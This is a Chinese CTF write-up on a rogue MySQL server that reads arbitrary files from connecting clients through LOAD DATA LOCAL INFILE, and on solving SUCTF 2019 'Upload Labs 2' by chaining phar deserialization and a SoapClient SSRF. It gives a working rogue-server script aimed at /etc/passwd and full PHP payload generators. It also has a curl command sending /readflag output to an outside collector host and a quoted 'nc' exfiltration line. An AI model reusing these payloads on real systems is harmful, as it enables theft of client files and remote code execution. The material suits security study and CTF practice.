伪造mysql-server实现任意读取

https://lightless.me/archives/read-mysql-client-file.html

大概就类比于下面的对话:

客户端:我想将/etc/passwd插入user表中
服务端:那把/etc/passwd发给我
客户端:巴拉巴拉

我们所需要的做的就是搭建一个mysql服务端,然后完成上述过程,实现客户端的任意文件读取。

LOAD DATA INFILE

问题出在该语法上,该语法用于读取一个文件放入表中。两种用法如下:

load data infile "/data/data.csv" into table TestTable;
load data local infile "/home/lightless/data.csv" into table TestTable;

区别在于,第二个用法多了local,表示的是读取客户端本地的"/home/lightless/data.csv",第一个用法则是读取服务端的文件。本次利用也是用的第二种用法。
Mysql官方也提出了该语法的错误

payload

懒得抓包分析通信过程,直接上payload以及效果图吧。

客户端:Kali GNU/Linux Rolling 
服务端:Ubuntu 18.04.2 LTS

在服务器端运行mysql_server.py

#coding=utf-8
#mysql_server.py

import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

filename为你想读取的文件绝对路径。
然后客户端远程连接mysql服务器

mysql -hx.x.x.x -uroot -p --local-infile

遇到的问题

在刚才客户端连接的时候如果不加参数--local-infile会读取失败,需要客户端在本地/etc/mysql/my.cnf中添加如下:

[mysqld]
local-infile = 1

[mysql]
local-infile = 1

添加之后就可以不用添加参数

其实一开始的时候客户端是用phpmysqli类连接的,代码如下:

$m = new mysqli(); 
$m->init(); 
$m->real_connect('vps_ip','root','toor','mysql',3306); 
$m->query('select 1;');

但是这样运行会报错

提示说LOAD DATA LOCAL INFILE受限制。

可是如果我一定要用php连接该怎么办呢?
搜了一下,有人说还需要修改客户端的php.ini(本人环境中在/etc/php/7.3/cli/目录下)

mysqli.allow_local_infile = On

去掉前面的注释符。


此时再运行php,发现已经没有限制了,成功运行。

[SUCTF]upload

源码如下https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2
这题折腾了好几天,从buuoj上的平台到自己的服务器上,从直接拿payload打到看通整个利用链,从不打算做了到再做一遍。我,真的,吐了。

分析问题

index.php中可以看到,其实主要就是检测文件后缀以及文件内容不能有<?
func.php中对post请求中的url做了正则匹配,这里推荐一个网站正则

if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");

过滤了类似phar之类的伪协议,可是可以用php://filter/resource=phar://绕过。
然后是

        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";

对请求的文件进行检测。
跟进class.php看一下:

class File{
...
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
...

这里的getMIME()存在文件操作,所以可能存在phar反序列化。

所以我们可以得到第一步该做的:

  1. 生成一个phar文件,payload$phar->setStub("<?php__HALT_COMPILER(); ?>");因为要绕<?和文件格式检测,所以改为$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>");或者$phar->setStub("GIF89aphp __HALT_COMPILER(); ?>");因为

  2. 修改phar后缀为jpg

  3. func.phpposturl=php://filter/resource=phar://filename.jpg触发第一个phar反序列化

至于phar内容是什么,我们需要继续往下看。
class.php中,我们还发现File类中还有个_wakeup

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

而且这个方法中还有ReflectionClass这么香的东西

而且我们能发现我们需要的东西在admin.php

<?php
include 'config.php';

class Ad{
...
    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        system($this->cmd);
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $cmd = $_POST['cmd'];

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
...

php还需要本地访问,这里不难想到SoapClient进行SSRF

所以我们第二步出来了:

  1. 第一步中phar的内容为一个File对象,类中$func=SoapClient;$filename=array{},这样
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

File对象被phar反序列化的时候,会触发_wakeup,然后根据参数实例化一个SoapClient对象,并且执行check函数。

  1. check函数并不存在,所以会触发_call魔术方法。
  2. 然后利用网上的payload,将请求发送给admin.php,并且请求参数可控(由Soapclient的第二个参数array控制)
  3. admin.php中执行我们需要的代码。

现在理一下总体思路。

  1. 构造一个File对象,变量为SoapClient的参数。然后会去admin.php中执行代码。
  2. 将已经构造好的File对象放在phar反序列化中,生成phar文件。
  3. 上传phar文件,然后使用未被过滤的伪协议去访问该phar文件,利用文件操作函数触发phar反序列化。

payload

<?php
@unlink('1.phar');
@unlink('1.gif');
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'err0r^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'zz')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
@rename('1.phar','1.gif');

payload抄自tr1ple师傅
主要就是$post_string这一串

$post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";

首先admin=1是为了admin.php页面的限制。

cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"

利用curlreferer参数,来设置请求的referer值,且因为使用了`/readflag`,反引号在php中调用shell_exec,也就是相当于shell_exec('/readflag'),获取到的flag值放在referer中。请求我们设置好的xss平台。

clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=

是因为Ad类中的

function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

传入的参数相当于实例化一个SplStack对象,然后调用三次push方法,每次压入一个参数。

payload中其他东西对着模板就行。
最后生成1.gif,然后上传之后,利用php://filter/resource=phar://去触发反序列化即可。


原题解法

此时好像和rouge mysql都没有太大关系,那是因为buuoj上已经更改过题目,将原先的ip,port两个参数改成了cmd,且由原来的_destruct_wakeup,这就意味着我们不能再用上面的payload来触发,而需要用反序列化一个Ad类来触发。Suctf原来的admin.php如下:

class Ad{
...
    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __wakeup(){
        system("/readflag | nc $this->ip $this->port");
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $ip = $_POST['ip'];
        $port = $_POST['port'];
...

这样看来,前面的步骤基本一致,要改的只是上面payload$post_string的值。

我们先想一下要如何获取flag
触发_wakeup。这样的话,我们就又需要一个新的Ad类的对象,放入phar中,被执行反序列化操作,从而触发_wakeup
这样我们就需要下列代码:

<?php

class Ad{
    public $ip;
    public $port;
    function __construct(){
       $ip = 'x.x.x.x';
       $port = 'x';
    }
}
@unlink('2.phar');
@unlink('2.gif');
$phar = new Phar('2.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$object = new Ad;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
rename('2.phar','2.gif');

来生成第二个phar文件。
接下来就是如何触发的问题了。
还是需要文件操作。这里就需要用到伪造mysql-server来实现读取第二个phar文件,从而实现反序列化一系列操作。
参考mysqli类实现的souge mysql代码:

$m = new mysqli(); 
$m->init(); 
$m->real_connect('vps_ip','root','toor','mysql',3306); 
$m->query('select 1;');

$post_string就应该如下构造

$post_string = 'admin=1&ip=x.x.x.x&port=x&clazz=mysqli&func1=init&func2=real_connect&func3=query&arg1=&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=toor&arg2[3]=mysql&arg2[4]=3306&arg3=select 1;'

这样当SoapClient将请求发给admin.php的时候,执行到check函数的时候,会通过实例化类和几个反射函数来完成对伪造的mysql服务器的连接。
然后我们将

#coding=utf-8
#mysql_server.py

import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

filename的值改为第二个phar文件的地址,从而触发第二个phar文件的反序列化,触发_wakeup,将flag外连出来。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容